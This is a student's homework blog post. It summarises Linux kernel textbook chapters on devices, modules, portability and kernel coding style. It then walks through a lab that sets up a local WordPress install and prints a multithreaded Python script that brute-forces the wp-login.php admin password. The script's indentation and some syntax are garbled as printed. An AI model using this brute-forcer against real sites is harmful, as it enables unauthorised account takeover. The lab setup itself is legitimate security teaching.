• 20169207 《Linux内核原理与分析》第十一周作业


    阅读学习教材「Linux内核设计与实现 (Linux Kernel Development)」第教材第17,19,20章。
    在第17章设备与模块章节,关于设备驱动和设备管理,我们讨论四中内核成分。

     1.设备类型:在所有Unix系统中为了统一普通设备的操作所采用的分类。
     2.模块:Linux内核中用于按需加载和卸载目标码的机制。
     3.内核对象:内核数据结构中支持面向对象的简单操作,还支持维护对象之间的父子关系。
     4.sysfs:表示系统中设备树的一个文件系统。
    

    在Linux中,设备被分为以下三种类型:
    1.块设备
    2.字符设备
    3.网络设备

    模块设备,hello world
    hello_init(void)初始化函数,当模块装载时被调用,如果成功装载则返回零,否则返回非零值。----模块的入口点
    hello_exit(void)退出函数,当模块卸载时被调用。
    2.6的内核增加了一个引人注目的新特性-统一设备模型。该设备提供了一个独立的机制专门来表示设备,并描述其在系统中的拓扑结构,从而使得新系统具有如下优点:

    
    1.代码重复最小化。
    2.提供诸如引用计数这样的统一机制。
    3.可以列举系统中的所有的设备,观察他们的状态,并且查看他们链接的总线。
    4.可以将系统中的全部设备结构以树的形式完整,有效地展现出来。
    5.可以将设备和其对应的驱动联系起来,反之亦然。
    6.可以沿设备树的叶子向其根的方向依次遍历,以保证能以正确顺序关闭各设备的电源。
    7.实现设备模型的最初动机。
    
    

    本章中,我们主要学习了内核功能涉及设备驱动的实现和设备树的管理,包括模块、kobject和sysfs。讨论了内核中我们要学习的最后一个子系统。
    在第19章可移植性章节,我门知道了Linux是一个可移植性非常好的操作系统,它广泛支持许多不同体系结构的计算机。
    要想写出可移植性好,简洁,合适的内核代码,要注意一下两点:
    1.编码尽量选取最大公因子:假定任何事情都有可能发生,任何潜在的约束也都存在。
    2.编码尽量选取最小公约数:不要假定给定的内核特性是有用的,仅仅需要最小的体系结构功能。
    编写可移植的代码需要考虑很多问题:字长、数据类型、填充、对齐、字节次序、符号、字节顺序、页大小以及处理器的加载/存储排列。
    第20章补丁,开发和社区。
    Linux的最大优势就是它有一个紧密团结了众多使用者和开发者的社区。社区能帮你检查代码,社区的专家给你提出忠告,社区中的用户能帮你进行测试,用户还能反馈存在的问题。
    Linux的编码风格

    
      1.缩进--缩进风格是用制表位每次缩进8个字符长度。
      2.switch语句--switch语句下属的case标记应该缩进到和switch声明对齐,这样有助于减少8个字符的tab键带来的排版缩进。
      3.空格--Linux编码风格规定,空格放在关键字周围,函数名和圆括号之间无空格。
      4.花括号--内核选定的风格是左括号紧跟在语句的最后,与语句在相同的一行。
      5.每行代码的长度--源代码中要尽可能地保证每行代码长度不超过80个字符,因为这样做可能使代码最合适在标准的80*24的终端上显示。
      6.命名规范--命名中不允许使用骆驼拼写法、studly caps或者其他混合的大小写字符。
      8.函数--根据经验,函数的代码长度不应该超过两屏,局部变量不应超过10个。
      9.注释--代码的注释非常重要,但注释必须按照正确的方式进行。
      10.typedef--内核的开发者们强烈反对使用typedef语句。
      11.多用现成的东西--请勿闭门造车。内核本身就提供了字符串操作函数,压缩函数和一个链表接口,所以请使用他们。
      12.在源码中减少使用ifdef--我们不赞成在源码中使用ifdef预处理指令。
      13.结构初始化--结构初始化的时候必须在他的成员前加上结构标识符。
      14.代码的事后修正--即使你得到了一段与内核编码风格风马牛不相及的代码,也不用发愁。只消抬抬手,indent工具就能帮你解决它。
    
    

    接下来是本周的信息安全类实验,我们选取的是-----Python暴力猜解Web应用。

    实验准备,因为本次实验是在自己Ubuntu 64位的环境下进行,没有实验室已经配置好的实验,所以我们需要自己搭配自己的环境。
    实验需要1.mysql数据库:
    在配置mysql数据库中,我们需要用到以下命令。

    1.sudo apt-get install mysql-server
    2.sudo apt-get install mysql-cilent
    3.sudo apt-get install libmysqlclient-dev

    安装过程中会提示设置密码什么的,注意设置不要忘了。然后用mysql -u root -p登陆数据库。

    2.使用命令sudo apt-get install wordpress安装wordpress。
    3.打开数据库并登录。



    $ sudo service mysql start
    $ mysql -u root

    create database wordpress;
    create user wordpress@localhost identified by '666';
    grant create,drop,insert,delete,update,select on wordpress.* to wordpress@localhost;

    结束后ctrl+d退出,然后在 wordpress 的配置文件中指定数据库用户的账号和密码,并创建后台管理员账号。

    $ cd /var/www/html/wordpress
    $ sudo gedit wp-config.php



    添加if (!defined('DB_PASSWORD'))
    define('DB_PASSWORD', '666');

    4.启动服务器,安装python。

    保存配置后,启动apache2服务,然后再浏览器中输入http://localhost/wordpress/wp-admin/install.php配置管理员用户名与密码。
    查看cookies。

    5.写python程序,新建一个test.py,代码如下:

    !/usr/bin/env python

    -- coding:utf-8 --

    import requests
    import sys
    import itertools
    import Queue
    import threading
    import time

    class Bruter(object):
    def init(self,user,characters,pwd_len,threads):
    self.user = user
    self.found = False
    self.threads = threads
    print '构建待测试口令队列中...'
    self.pwd_queue = Queue.Queue()
    for pwd in list(itertools.product(characters,repeat=pwd_len)):
    self.pwd_queue.put(''.join(pwd))
    self.result = None
    print '构建成功!'
    def brute(self):
    for i in range(self.threads):
    t = threading.Thread(target=self.__web_bruter)
    t.start()
    print '破解线程-->%s 启动' % t.ident
    while(not self.pwd_queue.empty()):
    sys.stdout.write(' 进度: 还剩余%s个口令 (每1s刷新)' %self.pwd_queue.qsize())
    sys.stdout.flush()
    time.sleep(1)
    print ' 破解完毕'
    def __login(self,pwd):
    url = 'http://localhost/wordpress/wp-login.php'
    values = {'log':self.user,'pwd':pwd,'wp-submit':'Log In',
    'redirect_to':'http://localhost/wordpress/wp-admin',
    'test_cookie':'1'
    }
    my_cookie = {'wordpress_test_cookie':'WP Cookie check'}
    r = requests.post(url,data=values,cookies=my_cookie,allow_redirects=False)
    if r.status_code == 302:
    return True
    return False
    def __web_bruter(self):
    while not self.pwd_queue.empty() and not self.found:
    pwd_test = self.pwd_queue.get()
    if self.__login(pwd_test):
    self.found = True
    self.result = pwd_test
    print '破解 %s 成功,密码为: %s' % (self.user,pwd_test)
    else:
    self.found = False

    if name == 'main':
    if len(sys.argv) != 5:
    print '用法 : cmd [用户名] [密码字符] [密码长度] [线程数]'
    exit(0)
    b = Bruter(sys.argv[1],sys.argv[2],int(sys.argv[3]),int(sys.argv[4]))
    b.brute()
    print b.result

    赋予执行权限,chmod 777 test.py;
    然后就直接运行,命令./test.py,运行结果如下:

  • 相关阅读:
    NSHashtable and NSMaptable
    架构的本质:构造定律与结合规则
    软件复用的基础和形式
    架构模式:循环模式、管道模式
    待整理
    functions and closures are reference types-函数和闭包是引用类型
    @autoclosure-可以让表达式自动封装成一个闭包:输入的是一个表达式
    Python 运算符优先级
    Linux下chkconfig命令详解
    Linux下Redis开机自启(Centos)
  • 原文地址:https://www.cnblogs.com/littletang/p/6123918.html
Copyright © 2020-2023  润新知